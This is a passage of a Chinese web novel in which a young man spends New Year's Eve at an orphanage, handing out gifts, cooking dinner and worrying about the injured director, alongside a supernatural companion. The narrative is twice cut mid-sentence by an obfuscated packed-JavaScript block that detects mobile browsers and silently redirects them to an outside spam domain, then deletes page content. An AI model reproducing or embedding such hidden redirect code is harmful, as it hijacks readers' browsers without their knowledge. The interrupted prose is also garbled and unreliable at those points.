戴眼镜的少年打着哈欠下楼,双手揣在棉衣兜里,光脚趿着一对拖鞋,才睡醒的样子,他不作声地看这辆亮漆长车停进空旷的院内,孩子们在活动室看电视,没有人知道院子里来了人。 车停稳后,施霜景下车,一眼就看见站在楼梯前的何晓栋。施霜景抬手,算打了招呼,何晓栋也抬抬手,下意识裹紧棉衣,心理感受非常复杂。 高大爷又合上了铁门,顺手挽上铁链。今天院子里不会再来人了,要关门过年。 “这些东西现在就要搬吗?”罗爱曜站在车门前,问施霜景要不要现在就开后备箱。施霜景犹豫了一下,那就现在搬吧。高大爷和施霜景把后备箱的快递袋子全部卸下来,罗爱曜自然是不帮忙的,礼物又不是他送,他送的礼物可比这大多了。 之前拍卖所得的五千多万美金用来资助孤儿福利发展,罗爱曜要盯全程,估计春天就可以组建起这个公益组织的核心团队。罗爱曜不相信人,也不相信系统,总之就是在他涅槃前,盯好这些钱分配到该去的地方,设置好合理的领取条件和流程。 “晓栋,你也过来帮帮忙噻!”高大爷朝何晓栋喊道。 “晓得了!又不晓得有没有我的份。”何晓栋流里流气走过来,两手捏住数个灰皮快递袋的袋角,拎起来,问,“现在就送去活动室吗?” 施霜景也抱起一摞快递,“有你的份啊,见者有份。就现在吧?让他们现在就拆开来。过年嘛,用新东西过年。” “你前段时间已经送了好多棉衣过来,这回又送……是罗老师出钱嘛?”高大爷问。 罗爱曜的声音飘过来:“不关我的事。” 施霜景不吭声,手里大大小小的东西,有轻有重,他要保证每个小孩收到不止一件礼物。他们一行人去往活动室,何晓栋用肩膀撞开门,把小孩们吓了一跳,但小孩看见施霜景,又马上安心下来。这些是什么呀?小朋友们很快就围了过来。 高大爷去找了把剪刀递给施霜景,施霜景挥手,将围紧的小孩们疏散一些,免得用剪刀时不小心伤到他们。 现今福利院一共有七个小孩,刘茜说年后可能会有新孩子送进来,是从市福利院分过来的,他们那边的管理稍微要调整一下,以后如果励光福利院的补贴和支持能一直维持,励光福利院应该要维持大约三十个小孩的容量,也得再招员工,最好是有特殊教育的背景。 之后要来的,之后再送吧,施霜景只想照顾好现在的孩子们。施霜景将一个个灰色或黑色快递袋扒下来,露出内容物。这一袋是围巾,那一袋是帽子和手套,新书包,新鞋,玩偶,很多可以抱着睡觉的玩偶,很多套小孩的秋衣秋裤,年末清仓买到的夏天的裙子、短袖、短裤,一包又一包漂亮的皮筋和头花,两双可调整大小的轮滑鞋以及相应护具,羽毛球拍,很多个新水壶,玩具车套装,芭比套装……孩子们看到全疯狂了。 “有些是送给大家一起玩的,有些是我想着你们每个人选的……大家排好队,毛豆,你喜欢企鹅是不是?这个企鹅水壶和企鹅帽子是你的。”施霜景盘腿坐下,就着一地散乱的包装袋开始分礼物。 先发每个小孩的专门的礼物,叫到名字,一个个领过去。小孩们手里都抱满了,施霜景让他们先把手里的东西放下,再来领第二轮,这回是大家见者有份的礼物。像围巾、裙子或是T恤,施霜景会一个款式买几种颜色,要孩子选,挑剩下的就留在福利院的仓库,给以后的小朋友穿。每个小孩都领到一个床上玩偶,施霜景可以预见,他们以后说不定会觉得其他人的玩偶更好,那就任他们去交换或是争抢吧,群居的孩子难免发生这种事,但施霜景默默记住了有重复喜好的玩偶,事后补买也是可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558939|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以的。 罗爱曜不喜欢小孩,他离得远远的,调电视机,现在这些电视节目真不好看,所以他在家里用的是投影仪,想看什么看什么。何晓栋对这种热闹场景也不是很来电,他觉得施霜景像是来炫耀的,但何晓栋又想,如果他有钱,他也炫耀。像他们这样的孤儿,院里其他孩子就是亲戚,给亲戚送礼,炫耀一下怎么了?想着想着,施霜景忽然递了一个盒子给何晓栋,几乎是撞在何晓栋手臂上,“送你的。”施霜景示意何晓栋快接。 一双耐克乔丹,看盒子就知道。“哇靠,施霜景,你真的行啊,送AJ?不骗我?”何晓栋绝对不放手了,男孩嘛,都喜欢球鞋,一打开盒子,发现是红黑AJ1芝加哥,何晓栋看施霜景的眼神又变了,有点崇拜又有点疑惑。 “你怎么知道我的码?”何晓栋问。 “我俩鞋码一样,在院里的时候就是一样。”施霜景头也不回道。 好不容易派完礼物,高大爷穿着自己的新棉袄,要施霜景给他拍抖音,他发给别人看,这还是高大爷第一次收到回福利院的孩子的礼物。施霜景不仅给高大爷买了,还让高大爷挑几件东西带回去给他孙子孙女用,反正都是礼物。 活动室里早乱糟糟成一团了,满地都是拆开的包装袋,施霜景弯腰收拾,高大爷说他先去厨房准备,这会儿该做午餐了。施霜景说他很快就去帮忙。 小萝卜头们在罗爱曜眼前跑来跑去,伴以大叫大闹。罗爱曜很快就感觉自己太阳穴跳疼,这时,一个鲜少主动找上罗爱曜的人竟然打来了电话。是那个灵车司机柳闻斌。 正经的佛子信徒不会知道佛子有人身,但这灵车司机其实算不得佛子的信徒。柳闻斌的二祖父曾是五台山金阁寺僧人,于□□期间私藏了许多珍贵菩萨与佛造像,免受摧毁。不空三藏于五台山修建金阁寺,是汉传密教核心大寺。后来□□平反,柳闻斌二祖父交还这些塑像,唯独留下一尊小的,其实那便是不空仍在世时为佛子试造的小像之一,全国拢共也只有几件,加之罗爱曜又喜欢回收自己的佛像,认为那是散落的耳目,罗爱曜不喜打扰,所以最后只剩这么一尊沧海遗珠,正好叫柳家碰上了。 柳闻斌对佛子当然是非常信、非常客气,可他就是一平凡人,既不符合罗爱曜收信徒的标准,也没有可以交换起价的心愿,干脆就做佛子的跑腿司机,只求不得罪。罗爱曜平时当柳闻斌帮他忙,嘴上不客气,但该给的报酬一次没有少给。 “佛子,我真被这做生意的大哥缠得受不了了……真不好意思过年打扰您。您是不是前段时间卖了一尊白马双佛像?这拍卖就是价高者得,大哥不信,一定要我找您……” “讲重点。” “……大哥把我老婆儿子都接去奢华新年游了,糖衣炮弹啊!佛子,您认识这位马先生吗?他对我太客气了,我不需要啊!我没说我认识您,他知道我给佛子办事。他把我老婆儿子骗走了,我估计不会有安全问题,但等他们回来,我要怎么交代啊?” 这都什么乱七八糟的?罗爱曜顺手关掉电视机,衬得孩子玩闹声音更响。 罗爱曜走到走廊,说:“怎么会有人纠缠?这人会找上你,就是知道我有人身。我的信徒以及预备信徒都不会有这种觉知。你确实应该担心一下你老婆儿子的安全问题。” 104.细马春蚕篇(二) 听柳闻斌讲一二三四,事情的起因经过,罗爱曜边听边走神,反而在想:为什么总是这些狗屁倒灶的事找上他?佛子难道是现世来打杂的吗?千年前罗爱曜作数场法会,于天于地作密教咒法一切实践验证,作不空三藏一切密教经典陀罗尼译校的唯一译师——从六根清净退到如今,六尘皆都惹了。罗爱曜过去就最厌恶被视作法力强大的工具,现在他成了法力强大的……这算什么?代打吗? “……佛子!我这样没有办法过年啊!”柳闻斌一个大男人,在电话那头快哭出声来。 “你妻子孩子怎么会好端端跟着不认识的富商出门游玩?你该问你自己。”罗爱曜说,“我的确拍出一尊白马双佛像,也的确有一位内地富商参与竞价,他要找也应该是找拍卖行打听佛像的来处,或者直接去找拍得的人。平白无故找上你,是不是你或是你家人泄露了什么?” 柳闻斌在那头很为难,纠结好一阵,哀哀地说了实话:“我儿子不懂事,拍了家里的小像传到网上,给同学炫耀……不知道怎么的就让这商人看见了。这商人应当研究您有一段时间了,拍卖会差一点点就拍到佛像,他很不甘心,就来套我老婆,想买家里的那一尊像。他开出了拍卖的价格啊,我老婆一听人都晕了,怎么劝都劝不住。” 罗爱曜反倒是立马听出了言外之意,他淡淡道:“你要卖我的像倒也无所谓,毕竟你一家不是我信徒,我与你们关系不深。卖个几千万美金套现,我觉得挺划算的,现在赚钱不容易。” “佛子,我不是这个意思!我向天发誓,绝对绝对……” 罗爱曜打断柳闻斌,比人精到底谁更人精,“你老婆儿子本来就不安全,你再发个天打雷劈的假誓,佛像还没卖得出价就全家死光了,你慎重。”先放狠话,再给台阶,“我不希望这什么马先生通过你的渠道与我交涉,我没挑中他,就是他不配。如果卖佛像能解决,你尽管卖吧。” 话说完,柳闻斌的所有回复似乎都失去力气,柳闻斌应当是不想断掉佛子这层关系,不是信徒也没关系,真当信徒还觉得罗爱曜这佛子太阴呢,给佛子当司机反倒还平等半分。佛子说他要去过年,只是钱的事情就不要打扰他。 施霜景从厨房回来,看见罗爱曜在回电话,就先不打扰他,进活动室为孩子们重新打开电视,调到少儿台。再一出来,罗爱曜已经收回手机,电话打完了。 “怎么了?有事?”施霜景指了指自己的脸,示意罗爱曜正在摆臭脸。 “无事。你们午餐要做什么?” “随便做些,中午就先垫垫肚子,晚上吃大餐。奶奶昨天就备了很多菜,大爷今天还搞到了两大条新鲜活鱼,年年有余。”施霜景系着围裙,知道罗爱曜不是来帮忙的,说,“要是觉得孩子们太吵,你要不要去楼上的房间?上面应该有空床。或者你回车里也行……” 罗爱曜忽然笑道:“怎么你现在开始安排我了?怕我无聊?” 施霜景煞有介事点点头,他还真怕罗爱曜无聊。罗爱曜动不动就整出些大动静,施霜景巴不得罗爱曜能找个乐子吸引一下注意力。 既然罗爱曜这么说,就是让施霜景别操心他。施霜景去厨房帮厨。七个孩子,加上何晓栋、高大爷和他们家两人,十一个人的饭,大家都愿意吃大锅饭,中午就炒五六个菜,再做个汤,便可以开饭。高大爷很会切菜帮厨,施霜景腌肉、处理香肠,两人配合,半小时就让大家都吃上午饭了。 罗爱曜拿着锃光瓦亮的铁盘,心里很不适应,这明晃晃是一种降级。他不是故意总做比较,他从前在鸿胪寺,吃食只挑剔,并不忌口,也并不长时间持斋。鸿胪寺同时是外交机构,罗爱曜什么都尝一些。但总体而言,罗爱曜一千年不吃饭也根本饿不死。他不是人。在施霜景家,吃施霜景做的饭,还可以自我宽慰说是喜欢吃人家的因缘和心意。他对外食基本没有兴趣,但吃饭作为一种社交手段,大家都吃,你不吃不好。这不是嫌弃东西不好,纯粹就是懒得配合,不想演。 这些铁盘还是刘茜当院长之后换的,之前他们都用铁碗呢,根本没办法分开菜色。施霜景有随口一提过这件事。 施霜景知道罗爱曜吃饭像吃猫食,都只是尝一口,罗爱曜经过施霜景面前时,施霜景作为打饭大哥,悄声说:“都是我炒的,你随便吃吃,不想吃就留在那儿,我打完饭就过来找你。” 可这时候罗爱曜又会觉得,唔,好像没有那么不想吃。你干嘛还要特意提醒?难道我不知道这道理吗? 食堂不大,孩子们团坐在一起,用勺吃午饭。施霜景煮了西红柿蛋汤,给每个小孩都舀了一碗,放在他们的铁盘旁边。 高大爷坐到一边去刷抖音吃饭,何晓栋孤零零坐着,施霜景端着铁盘,他知道他要坐到罗爱曜身边,但他看何晓栋独坐,稍微有点心里过意不去,就过去问了一下:“晓栋,过来一起坐?” “不了吧?你带来的这个罗老师挺严肃的,有点怵他。”何晓栋屈起一腿踩在椅子上,意思是他就自己吃了,不需要施霜景关心。 回到桌前,罗爱曜说:“你人很好,但好人无用,很自讨没趣。”这是点评刚才施霜景自作多情的邀请。 “哦。” 施霜景不肯定也不反驳,知道了。 “这香肠太咸。”罗爱曜用筷子将吃不惯的都扒到一边,确实只吃素。 “我们这里做的香肠都是咸辣味,不像广东的香肠,有点甜甜的。”施霜景从罗爱曜盘里夹菜过来,自己吃了,“吃过饭我要带小朋友们去睡午觉,然后下来准备晚餐食材,估计得忙一个下午了。晚上我们吃完饭,我陪他们看会儿春晚,送他们睡觉,我们十点回家?” 罗爱曜问:“刘茜不是希望你晚上能陪他们吗?” 施霜景将声音再压低半分:“可是我想和你跨年。能不能请鬼子母神代看一下?” 不得不说,施霜景越来越会哄罗爱曜了。每次觉得施霜景瞎忙活、大无畏的时候,施霜景又会突然像个二十岁的年轻人,冒出自己的小念头。罗爱曜还能说什么?罗爱曜颔首,答应呗。 和施霜景生活就是这样,每件事都非常具体,具体到有些烦琐,皆是俗不可耐,可偏偏罗爱曜又徒生耐心。一天是一天,和施霜景过日子,对时间的感知非常稳定,每分每秒的流逝都很清晰,这就很像一把锉刀,将罗爱曜对时间的圆钝理解又重新打磨锋利,成为某种刺激。罗爱曜知道这是倒计时的威力。 下午小孩睡觉,睡醒了要送进澡堂洗澡。福利院不大,但不论食堂还是澡堂,都还修得比较有规模,毕竟是按三十到五十个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558940|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩来设计的。可惜他们这里没有成年女性,七个小孩分别是三女四男,小女孩们独自进澡堂让人有些不放心,这时鬼子母神便现身了。 “刘老师,你怎么回来了?”何晓栋忽然一个弹跳,看见刘茜出现在院里,连高大爷也吓一跳。 “我回来拿个东西。”鬼子母神化成刘茜模样,所有一切都学得十足像,“怎么还不洗澡?过年不得洗澡才能穿新衣服?趁我还在,我带女孩们先去洗。何晓栋,等会你带男孩去洗澡,可以吗?” “行——那你一会儿还要走?”何晓栋问。 “嗯,晚上还是交给你们。” 鬼子母神借用刘茜的形象,却不是实实在在能与人触摸、互动的实体,她可以代为看管孩子们洗澡,其实孩子也挺大了,说话指导她们洗澡、穿衣即可。她本来就总是以无色无相的方式守护这里,不用施霜景提她也会这么做。 何晓栋总觉得有些说不出来的怪,从他回励光厂就感觉到了……那种似有若无、虚无缥缈的……是什么呢?他总听刘茜提到施霜景,可何晓栋直到过年才真见到施霜景。刘茜总提他,就好像他们关系还很密切似的。刘茜和其他孩子会这样吗?像何晓栋从来都喊她“刘老师”。 何晓栋还听说前段时间厂里死了很多老人,说出去多么吓人,可厂里人表现得像什么都没发生过一样。白院长失踪了——这个“失踪”实在太耐人寻味,大家依旧是当做什么都没发生。刘茜提到施霜景,就不免还要提到另一个人。有时刘茜会看向何晓栋,临时改口,把那人称作“罗老师”,向高大爷也这样介绍。 这回一见施霜景与这位罗老师,何晓栋能看出不对劲,有某种很暧昧的感觉在风中飘。施霜景是同性恋?何晓栋又反思他以前和施霜景的互动……直到施霜景说出那句“我俩鞋码一样,在院里的时候就是一样”,何晓栋汗毛都要炸了,一方面是他的直男本性发作,对施霜景有点感情上的怀疑,另一方面是他在想到这层时,好像有某种外来的恶意刺了他一下,叫他不许再往下想。 励光福利院并不阴森,相反,福利院的院子开阔,楼房低矮,采光非常好,年三十这日天气又不错,虽然多云,但至少气温不低,也没有雨雪。可何晓栋愈发觉得福利院阴森,这一战栗感在看到刘茜“折返”回来时达到顶峰。 施霜景啊……这人到底该怎么评价呢?何晓栋想,他们福利院的人际关系本来就比较吊诡。何晓栋没有待过其他福利院,但实际上福利院大抵都是如此。大孩子都敏感、早熟,且各有各的早熟。何晓栋觉得施霜景开窍的方面很微妙,施霜景打人非常狠,但很会装。何晓栋一度觉得施霜景没法读完高中,迟早要跟社会上的人混,毕竟施霜景初中时打架就非常不要命了。这回见施霜景欢天喜地给孩子们派礼物,系围裙做饭做菜,何晓栋觉得非常割裂。 施霜景跟何晓栋根本不熟。他们是睡一间房没错,但男孩们都睡一间房啊。何晓栋比施霜景小一岁,读书时却比施霜景年级高。施霜景和福利院其他孩子在外面打架,和其他学校的初中甚至高中男生对打,不会带何晓栋。何晓栋怕施霜景,怕着怕着就不喜欢了。归根到底,天天住在一起不会让人变熟。福利院是个小集体,但大家各有交往的偏好。施霜景好像跟所有人都不熟。为什么? 105.细马春蚕篇(三) 励光福利院的历史比较复杂,它曾是S省地方县的小福利院。因为靠近两省交界处,离刘茜的家乡近,刘茜在决定出来找工作时才选中了这家福利院。她入职的时候已经到其他员工的退休年龄了,为此她一度没有办法签订正常的员工合同,换到像D市这样的大城市周边,对接了新的民政部门,她才终于有了合同保障。 何晓栋和其他早已经离开励光福利院的大孩子们便都是地方县市的孩子,随同福利院的搬迁一起到励光厂来,算是D市外围,是靠近了S省省会,条件的确比过去好很多。施霜景来得晚,他到福利院没多久,就随着大家搬来D市了。刘茜入职和施霜景进入福利院算是前后脚的功夫,施霜景是刘茜第一个接来福利院的孩子,何晓栋只能从这方面解释刘茜对施霜景的特殊关照。 大孩子们对搬到D市非常兴奋,福利院里当时差不多已有二十五六个孩子,何晓栋和大他一岁的施霜景算年纪小的,比他们再小的只有一两个孩子了,到现在也已经早已离院。福利院的职工来来去去,总是待不长久。搬到励光厂之后,出去的孩子多,进来的孩子少,一些健康的孩子很快就被领养走,年纪越小越容易被领养。现如今励光福利院的孩子存在年龄上的断代,中间有孩子因病去世,大多都是进院一年后又被领养走了,剩下的这七个孩子在领养市场上不受欢迎,除了自身条件之外,或许也跟经济下行的周期有关。 即便孩子与孩子天天吃住在一起,他们彼此并不真正了解。施霜景只知道何晓栋从前跟外公外婆住,外公外婆死后很快他就被送到了福利院,何晓栋就讲到这里为止。何晓栋只知道施霜景父母都死了,妈妈先死,爸爸后死,之后似乎又是流浪被捡回来,反正初见的时候,施霜景穿着干净衣服,可皮肤、嘴唇和其他能看见的生理状态都很糟糕,话说得也不好。 施霜景刚上初中时,并不与院里其他高年级孩子成群结队。不知道是什么原因,有一天何晓栋发现,施霜景和那些大孩子一起带着伤回来,那之后施霜景就常跟他们步调一致了。再后来何晓栋会听见大孩子私下聊施霜景,施霜景读书晚,初中生可以当高中生来用,个子高,打架的时候又一声不吭,人看起来非常狠,总之就是特别好用,很能扛打、扛伤,他们都喜欢让施霜景顶在最前面或是断后。不知道为什么,施霜景从来不和他们一起洗澡,这些人就趁施霜景单独洗澡的时候编排他。何晓栋默默听着,插不上嘴,他自认为与他们不是一路人。 县城小学对入学年龄卡得不死,何晓栋没满六岁就入学了,后来他转入励光厂修满九年义务教育。中考出分,何晓栋的成绩差一口气,最终他报了五年一贯制的职校,现在已经毕业。回到福利院一看,何晓栋发现施霜景还在准备高考,就算没有这什么罗老师的出现,何晓栋依然觉得与施霜景非常隔阂。施霜景为什么想要读大学?他们这样的孩子——以及这样的成绩,配读什么大学?连考公办大专都困难。考上、读出来又有什么意义? 想这些有的没的,总归现在院里没有其他大孩子了,施霜景就是最大的孩子。何晓栋洗完澡,衣服都是旧的,鞋非常新也非常合脚。何晓栋穿着AJ去厨房,想帮厨,又莫名地怕弄脏鞋子。施霜景戴着胶皮手套,坐着小马扎,在红色大水盆里刮鱼鳞,鱼是高大爷帮忙杀的,开膛破肚倒翻过来,浸在血水里,黄色胶皮手套在鱼身上来来去去。 “晚上我来洗碗。”何晓栋说,“我不会做菜,帮不到忙,等会我来端菜。” “今天是除夕,明后两天都不能洗衣服……何晓栋,你去把孩子们的衣服都洗了,按颜色分开,先洗浅色的,再洗深色的,内衣和袜子先不要洗。洗完就晾出去,OK吗?”施霜景布置工作,他实在是忙不过来了。 何晓栋“嗯嗯”一声,反正有洗衣机。他回院里平时也做这些事,只不过没人提醒就不会去主动做。 孩子们聚在活动室里,天色慢慢暗下来,除夕的暮色似乎比之前的日子要来得晚一些。罗老师嫌孩子吵,在车里办公,何晓栋看见车里电脑的光亮了。但其实罗爱曜只是在车里看电影而已。 晚上六点半,年夜饭上桌。 刘茜之前都规划好了菜色,买了两个卡式炉,施霜景跟着网上的教程学做了烤鱼,一个卡式炉上放做好的烤鱼,另一个卡式炉则是加热牛肉火锅。其他凉菜热菜做了十道,施霜景做菜做得一身都是油烟味。高大爷看了都觉得不容易,幸好有些菜是蒸菜,刘茜走之前就准备好了,上锅一蒸就行。 施霜景的双眼有些迷蒙,他交替着眨眼睛,太累了。他站在桌旁,想把气喘匀再喊孩子们过来吃饭,围裙忽然一松,罗爱曜从身后解掉施霜景的围裙,扔到一旁,同时在他耳边说:“还是出去买着吃比较方便吧?” “嗯……不做了。下次真不做了。两个人做这么多菜真的会累死。” 何晓栋隔窗看见他们的亲昵互动,又像是被灼伤了眼睛,他在门外“咳咳”了两声,说自己去活动室招呼孩子们集合了。施霜景反手拍拍罗爱曜的手臂,示意他挪开。 这些孩子洗过澡就迫不及待穿上新衣服,一个个崭新的小人。施霜景开心地介绍今天的菜色。 两条江团做出的大盘烤鱼,清炖牛肉,凉拌菜有黄瓜和木耳,提前备好的蒸菜有粉蒸肉和梅菜扣肉,肉盘有香肠拼血肠和卤菜拼盘,再炒了干锅豆腐、腊肠炒菜苔、糖醋包菜,还有一大盆肉沫鸡蛋羹。 他们吃饭的大圆桌是刘茜从倒闭的餐馆里便宜收过来的,说院里孩子少,逢年过节用圆桌吃饭会很热闹。高大爷给孩子们倒饮料。小孩的夸奖声此起彼伏,六七岁正是最会换着花样说话的时候:哇!小景哥好厉害!我要全部吃光光!我要吃鱼!我要吃肉!好多肉!我能不能边看电视边吃!好远哦夹不到…… 施霜景虽累,可心里很幸福。今年过年的心态太轻松了,终于可以和大家共享这过节的气氛。春节三倍加班工资,施霜景以前吃年夜饭的时候,满脑子只想着——他真的很想赚这三倍工资,就算除夕上班也没关系。 大人们落座,小孩夹不到烤鱼和清炖牛肉,这两道热菜被卡式炉垫得太高了,高大爷就干脆找了空碗来,给每个小孩都夹上一些,放在面前。至于剩下的那些菜,孩子们互帮互助,实在不方便夹的就让大人来夹。 孩子们叽叽喳喳,很快就有小孩想端着碗回活动室看电视。原本刘茜在的时候,她是不允许孩子们这么做的,可今天过年嘛,高大爷就放孩子们回去了,还是电视吸引力大,而且孩子们其实并不觉得年夜饭有什么特别,小景哥做菜很好吃,小毛头们会很积极地在活动室与餐厅间往返。 “小景啊,你哪来的功夫学做菜哟?”高大爷边吃边感慨。 施霜景给自己碗里舀了两勺蛋羹,说:“之前跟刘奶奶学过一些,后来搬出去就跟着网上学 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高大爷:“我晚上收拾完就回家咯,这个牛肉好吃,我能不能打包一点回家,正好明天就不用开火做饭了。” 施霜景让高大爷留半锅,这一锅牛肉好几斤呢。高大爷又笑开了,说他怎么可能全带走,他家人又吃不了那么多。 罗爱曜有时会从施霜景碗里夹菜,这行为幼稚到可笑,实际上是罗爱曜懒得选,吃饭本来就是社交行为,重点不在吃。过年好无聊。罗爱曜想。 不过,无聊也好过忙碌!罗爱曜最恨年初一早上的莲灯祈福法会,通常要从除夕夜就忙起来,凌晨便开始布瓜果佛斋,寺内先作仪式,天亮了打开寺门,或转移场地,去其他法会场地,迎接王公贵族、君君臣臣。按现在的定义,其实这些法会做的全是服务业,根本不是信仰,他们是来讨东西,讨要平安、富贵、康健、喜乐。这些祈福法会的主法者往往不是他这位佛子,而是人类的僧侣、法师。不空只要求罗爱曜必须到场。即便是到场,也是一整夜加一整日,罗爱曜陪所有人类演,演一场假诚心又假福佑的年关大戏。 罗爱曜越来越想起一千年前的自己,时不时就比较一下,强迫症一般。有时罗爱曜会觉得,某种可以称作“情感”的东西其实是在这一千年的封闭之中慢慢孵化出来的。他人生的第一个二十九年里,他不评价所做之事是好是坏,甚至他非常澄澈地一心悟经,只不过悟出来的尽被否了,抵达的也尽是无人之境,两茫茫,好干净。所有的好恶都是这个阶段回忆起来时,重新下的判断。罗爱曜觉得现阶段的自己还挺有人性的。这很奇妙。 施霜景发现罗爱曜吃饭吃得漫不经心,偶尔还要作弄自己,施霜景觉得好笑,两人面面相觑,施霜景勾唇,问他:“就这样对待我做的年夜饭吗?” 罗爱曜亮出空荡的碗底,“我都吃了。” “那你还想让我像夸毛豆一样夸你吗?” “毛豆,新年快乐。” 罗爱曜从西装裤裤兜里抽出一枚红包,绕过施霜景背后,喊了毛豆。毛豆伸出小手接过红包,马上就拆,发出好大的哇声。 罗爱曜复又坐直身体,“你夸吧。” 施霜景说:“罗老师,你不对劲。今天怎么这么好?”明明我忙着干活,晾了你一天。 这态度,这转折,就好像春天已在今日降临一般。 106.细马春蚕篇(四) 罗老师今天的确好。他给所有孩子都送了红包,不论小孩子还是大孩子。何晓栋起初坚决不收,不熟嘛,哪能乱收人红包,欠人情似的。施霜景说:“收吧,万一以后需要钱应急呢。” 何晓栋收下,对罗爱曜说了几句片儿汤似的新年祝语。他攥着红包,好一阵之后才问施霜景:“你有红包吗?” “有。”施霜景将兜里的红包露出一个角,让何晓栋看见。 何晓栋好想好想问:如果你是我,我让你收一个陌生年轻男人的红包,说是为了以后应急用,你会收吗?何晓栋不知道施霜景的答案。钱很重要,没钱就没有脸皮。这时候谈脸皮好像有点可笑,施霜景说的是实话,而且他们都需要钱来应急。何晓栋或许更想问的是:为什么你可以心安理得地收钱?尽管大家都在互联网上开些玩笑,有没有富婆看看我,但,施霜景,好久不见,你在哪里认识了“罗老师”?他是谁?从没见过你对谁这样。何晓栋觉得自己像施霜景的穷亲戚,亲戚过得好,理应为亲戚高兴的,但又忍不住在心里酸一酸,接红包的时候当然开心,背过身去就怨自己还是不中用。何晓栋觉得自己还像其他的什么角色,可他此刻没办法想明白。 施霜景其实完全没想这么多。他忘了自己对罗爱曜最初的一千块是多么慎重,甚至还想要两块钱一首歌来抵这笔借款,现在他只记得没钱救猫时心里多窘迫。 罗爱曜就静静地听这一切。他不是耶稣基督的神,下意识就判断人有罪无罪,谁承罪谁赎罪。佛对七情六欲有一种天生的淡漠,视角拉高,我全知晓,可我不干预,我劝你成空。只有以人的视角最合适,你们都有理,这就是成长,接受的,失去的,糊涂着就过了一生,你们不必停下,反正新的会盖过旧的,重要的是让时间的流水经过。 小孩子的红包每人五百,大孩子的红包每人两千,一视同仁,施霜景拿的不比何晓栋多。比较让人意外的是,施霜景也给小孩子们准备了红包,亦是一人五百。 “你们要把钱收好了,不要乱花,听到没有!”高大爷收拾东西,他准备回家,看见孩子们把红包揉来揉去,翻来覆去地看,他忍不住提醒。 毛豆问施霜景,她能不能买一个手机?施霜景说,你还太小了,现在用手机还太早。很快孩子们就会去上小学,或是已经上了小学一年级。一些孩子留不住钱,一些孩子太吝啬用钱,但总归给一点盼头——刘茜在的时候,每年也会给小孩子们一人五十块的红包。他们现在或许对五十和五百还没有概念,但他们很快就会有了。 很开心,但也很累。 这是施霜景对今年过年的想法。 做了不少活,身体会累,心理也不轻松。施霜景总觉得自己会想些有的没的。之前他只能看见自己以及自己的生活,现在他有些余力,想要照顾其他人,可这种隐隐约约的道德和教育压力令他无法忽视。 做大人好难。想那么多,能做的却很少。最多就是留下希望,希望大家能够往好的方向走。 施霜景在没人注意到的时候,悄悄问罗爱曜:“你给孩子们发红包,他们应该不会欠你什么吧?” “你把红包翻过来,看我写了什么。” 施霜景掏出自己的红包,发现罗爱曜写的是“送礼人施霜景一家贺”。 “啊,那我岂不是重复送了。”施霜景感慨。 “想送就送吧。”罗爱曜无所谓。 晚饭毕,大家聚在活动室看春晚,冰箱里有现成的饺子皮,施霜景调好了馅,准备九点的时候再包饺子,现包现吃。在这短暂的休息时间里,施霜景打电话给刘茜,想告诉她孩子们的情况,施霜景把孩子们照顾得很好,让她不要担心。 打过去第一回,超时,无人接听。 刘茜大概是在忙吧,或者手机不在手边?隔了二十分钟,施霜景又打了一次电话,这回刘茜接了,但刘茜在那头语速很快,说不方便接,之后再回电。施霜景捏着手机,第一次听刘奶奶用这样的语气,乍一听是厌恶,实际是仓惶到失控。她怎么了? 罗爱曜那边也不太平,施霜景见罗爱曜又出去接电话,夜里的福利院走廊好像随时就要消散的一抹沙,幽黄色,罗爱曜说话吐出白气,与灯色模糊成沙画的风沙和白雾。电视里声音吵闹,厂区里禁放烟花,屋内屋外,闹与静,并没有鲜明的分界线,事物就这样毛糙地融合了,仿佛能摸见冬草与春草的过渡。 九点,施霜景去搬了包饺子的馅料和饺子馅来,清空活动室的大桌,带小朋友们一起包饺子。何晓栋不愿参加,先上楼休息了。施霜景正教着孩子们怎么捏饺子皮,刘茜的电话回过来,是视频电话。 施霜景将手上的面粉草草擦了擦,就接电话。电话那头的刘茜捂着一边的脸,身后是一道惨白的白墙,她说:“我在派出所……小景,院里还好吧?” “您怎么在派出所?!”施霜景惊了,“怎么捂着脸?脸怎么了?” 刘茜微微挪开手指,整个左下脸都肿起来,嘴角破皮,新鲜的钝伤甚至没来得及转为乌黑,肿胀的地方乌突突地发热。“我买了明天早上的车票,明天我就回院里。”刘茜边说边拨拉散落的头发,很快便落泪、哽咽,她不愿意多说,兀自抹眼睛,施霜景才发现,透过视频里看刘茜的手,她已经是十足的老人了,可她这么大年纪竟然还挨打。 施霜景咽下上涌的泪意,说孩子们现在准备要包饺子了,给奶奶看看孩子们。摄像头从前置转为后置,施霜景让孩子们对奶奶说“新年快乐”。施霜景介绍饺子馅,白菜香菇猪肉和韭菜鸡蛋;春晚正在播传统舞蹈的节目,女子婀娜多姿,竖立的一字马如一根根玉簪;摄像头还囫囵地照见孩子们的新衣、新鞋、新玩具。刘茜让施霜景开免提,她说:“我明天就回来哦,你们要好好听小景哥哥的话,乖乖睡觉,晚上不要乱跑,小心被年兽带走……你们要谢谢小景哥哥……” 原本施霜景想找个角落继续同刘茜说几句,可刘茜只说她还在警局,不方便说太多,忽然话筒里又插进来男人的咒骂声,刘茜闭着眼睛,半捂着耳朵,然后挂断视频电话。 